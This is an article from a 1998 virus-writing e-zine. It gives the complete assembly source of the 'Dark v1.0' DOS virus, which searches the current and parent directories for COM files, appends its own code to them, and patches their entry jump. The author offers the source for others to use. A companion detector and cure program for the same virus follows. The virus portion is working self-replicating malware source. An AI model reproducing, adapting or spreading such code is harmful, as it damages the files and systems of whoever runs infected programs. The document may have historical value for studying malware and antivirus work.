[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998 file 00D
┌─────────── ┌────────── ┌──────────
┌─── ┌─── ┌─── ┌─── ┌─── ┌───
┌─── ┌─── ┌─── ┌─── ┌───
┌─── ┌─── ┌────────── ┌────────────
┌─── ┌─── ┌─── ┌─── ┌───
┌─── ┌─── ┌─── ┌─── ┌───
┌─── ┌─── ┌─── ┌─── ┌─── ┌───
┌─────────── ┌────────── ┌─── ┌───
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·$
$· Dark ■ Side ■ Alliance ■ ■ ■ DSA ■ ■ ■ Under ■ The ■ Dark ·$
$· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Dark v1.0 virus
(c) DarkGrey //[DSA] 1998
=== Cut === Dark.asm
; "Dark v1.0" virus
; Noresident, infected *.com (no check for renamed exe)
; (c) DarkGrey //[DSA] 1998
;
; P.S Use this source who needed your ,but
; please don't give this lamer's & "chainik's" :)
;
model tiny
.code
.startup
jumps
xor si,si ; Установим указатель на нуль , если мы в носителе
jmp @@99 ; на процедуру заражения
;------- ; здесь начинается вирусный код
ic: ;
call nsw ; выясняем свой ip
nsw: ;
pop dx ; ip в dx
sub dx,offset nsw ; вычитаем смешение относительно nsw
mov si,dx ;
;-------- ;
push si ; сохраняем si
mov di,offset dta ;
add di,si ;
mov cx,20h ;
mov si,80h ;
cld ;
rep movsb ; сохраняем dta
pop si ; востанавливаем si
;--------
@@99: ;
;--------
mov ah,3bh
mov dx,offset nd
add dx,si ;
int 21h ; Переход на одну дир. выше.
;-------- ;
mov ah,4eh ; Ишем *.com
mov dx,offset ff ;
add dx,si ;
xor cx,cx ;
int 21h ;
jc free ; если ничего не нашли - на выход
call @@87 ; если нашли - заражаем
;--------
@@2:
mov ah,3eh
mov bx,[handw+si]
int 21h
mov ah,4fh ; повтор поиска
mov dx,offset ff
add dx,si
xor cx,cx
int 21h
cmp ax,12h ; если больше нет *.com то на выход
je free
call @@87
jmp @@2
;---------
@@87:
mov ah,3dh ; открываем файл
mov dx,9eh ; из dta
mov al,2 ; для записи и чтения
int 21h
mov [handw+si],ax ; сохраняем хендл открытого файла
;--------
mov ah,42h ;
mov bx,[handw+si] ;
xor cx,cx ;
xor dx,dx ;
mov al,2 ;
int 21h ; вычисляем размер файла , выставляя указатель
; на конец файла
;--------
mov [rfz+si],ax ; сохраняем размер
;--------
mov ah,42h ; переносим указатель на конец файла-4
xor cx,cx
mov bx,[handw+si]
mov dx,[rfz+si]
sub dx,4
xor al,al
int 21h
;--------
mov ah,3fh ; читаем из файла
mov cx,2
mov dx,offset im
mov bx,[handw+si]
add dx,si
int 21h
;--------
cmp [im+0+si],'D' ; проверка , не заражен ли уже файл
je @@2
cmp [im+1+si],'G' ; 2 ---///---///---
je @@2 ; если уже заражены то на выход
;--------
mov ah,42h ; переносим указатель на начало файла
mov bx,[handw+si]
xor cx,cx
xor dx,dx
xor al,al
int 21h
;--------
mov ah,3fh ; читаем первые 3 байта
mov dx,offset oldb
add dx,si
mov bx,[handw+si]
mov cx,3
int 21h
;--------
mov ah,42h ; снова на начало файла
mov bx,[handw+si]
xor cx,cx
xor dx,dx
xor al,al
int 21h
;--------
mov ah,40h ; пишем jmp на свой код
mov bx,[handw+si]
mov cx,3
mov dx,[rfz+si]
sub dx,3
mov [buf+1+si],dx
mov dx,offset buf
add dx,si
int 21h
;--------
mov ah,42h ; переносим указатель на конец файла
mov bx,[handw+si]
xor cx,cx
xor dx,dx
mov al,2
int 21h
;--------
mov ah,40h ; пишем вирусный код
mov dx,offset ic
add dx,si
mov bx,[handw+si]
mov cx,[uncbt+si]
int 21h
;--------
mov ah,3eh ; закрываем файл
mov bx,[handw+si]
int 21h
ret ; возврат
;--------
fuck:
int 20h ; если что то не так вырубаемся
;--------
free:
cmp word ptr cs:[0100h],0f633h ; проверка , первая комада
; в файле xor si,si ?
je fuck ; если так то мы в носителе :)))
;--------
mov ax,si ; востанавливаем dta
mov si,offset dta
add si,ax
mov cx,20h
mov di,80h
cld
rep movsb
mov si,ax
;--------
mov cx,3 ; востанавливаем первые 3 байта
xor bp,bp
mov di,0100h
@@56:
mov al,[oldb+bp+si]
inc bp
stosb
loop @@56
;--------
mov di,0100h ; отдаем управление файлу
jmp di
ret
;-----
ff db '*.com',0 ; маска для поиска
oldb db 3 dup (?) ; старые 3 байта
rfz dw 0 ; размер файла
buf dw 0E9h ; опкод - jmp XXXX
dw 0000
handw dw 1 ; для хендла
im db 2 dup (?) ; буффер для чтения
dta db 20h dup (?) ; буффер для dta
db 'D','G' ; небольшой копирайт :)
nd db '..',0 ; переход на вышс. директорию
uncbt dw $-ic+2 ; размер вирусного кода.
end
=== Cut ===
=== Cut === AntiDark.asm
model tiny
.code
.startup
jumps
;--------
mov ah,09h
mov dx,offset msg
int 21h
;--------
mov ah,4eh
mov dx,offset mk
xor cx,cx
int 21h
cmp ax,12h
je eof
call show
call check
cmp ax,0ffffh
je @@21
jmp @@90
;--------
show:
mov ah,09h
mov dx,offset nf
int 21h
;------
mov ah,40h
mov dx,9eh
mov cx,13
mov bx,1
int 21h
;------
call shnul
ret
;------ check cure ?
@@21:
mov ah,09h
mov dx,offset yei
int 21h
mov ah,00h
int 16h
push ax
call shnul
call shnul
pop ax
cmp al,'y'
je cure
cmp al,'Y'
je cure
;--------
@@90:
mov ah,3eh
mov bx,[hw]
int 21h
jc errs
mov ah,4fh
mov dx,offset mk
int 21h
cmp ax,12h
je eof
;------
call show
call check
cmp ax,0ffffh
je @@21
jmp @@90
;------
check:
mov ah,3dh
mov dx,9eh
mov al,2
int 21h
mov [hw],ax
jc errs
;--------
mov ah,42h
mov bx,[hw]
xor cx,cx
xor dx,dx
mov al,2
int 21h
jc errs
;--------
mov [rfz],ax
;--------
mov ah,42h
xor cx,cx
mov bx,[hw]
mov dx,[rfz]
sub dx,4
xor al,al
int 21h
jc errs
;--------
mov ah,3fh
mov cx,2
mov dx,offset im
mov bx,[hw]
int 21h
jc errs
;--------
cmp [im+0],'D'
jne @@98
cmp [im+1],'G'
jne @@98
;-------
mov ax,0ffffh
ret
@@98:
call shnul
mov ah,09h
mov dx,offset nof
int 21h
call shnul
ret
;--------
cure:
mov ah,42h
mov bx,[hw]
xor cx,cx
mov dx,[rfz]
sub dx,49
mov al,0
int 21h
jc errs
;-------
mov ah,3fh
mov cx,3
mov bx,[hw]
mov dx,offset buf
int 21h
jc errs
;-------
mov ah,42h
xor cx,cx
xor dx,dx
xor al,al
mov bx,[hw]
int 21h
jc errs
;------
mov ah,40h
mov bx,[hw]
mov cx,3
mov dx,offset buf
int 21h
jc errs
;-----
mov ah,09h
mov dx,offset cr
int 21h
;-------
call shnul
;-------
jmp @@90
;--------
eof:
mov ah,9
mov dx,offset eom
int 21h
int 20h
;--------
errs:
mov ah,9
mov dx,offset erm
int 21h
int 20h
;--------
shnul:
mov ah,09h
mov dx,offset nul
int 21h
ret
;--------
mk db '*.com',0
msg db 'Anti "Dark v1.0" virus (c) DarkGrey',13,10,13,10,'$'
eom db 'End file''s',13,10,'$'
erm db 'I/O Error!','$'
nf db 'Found file : ','$'
nof db 'Not infected',13,10,'$'
yei db 'This file infected "Dark v1.0" virus , cure this ? [y/n]','$'
cr db 'Cured!',13,10,'$'
hw dw 0
rfz dw 0
nul db 13,10,'$'
im db 0
buf db 3 dup (?)
end
=== Cut ===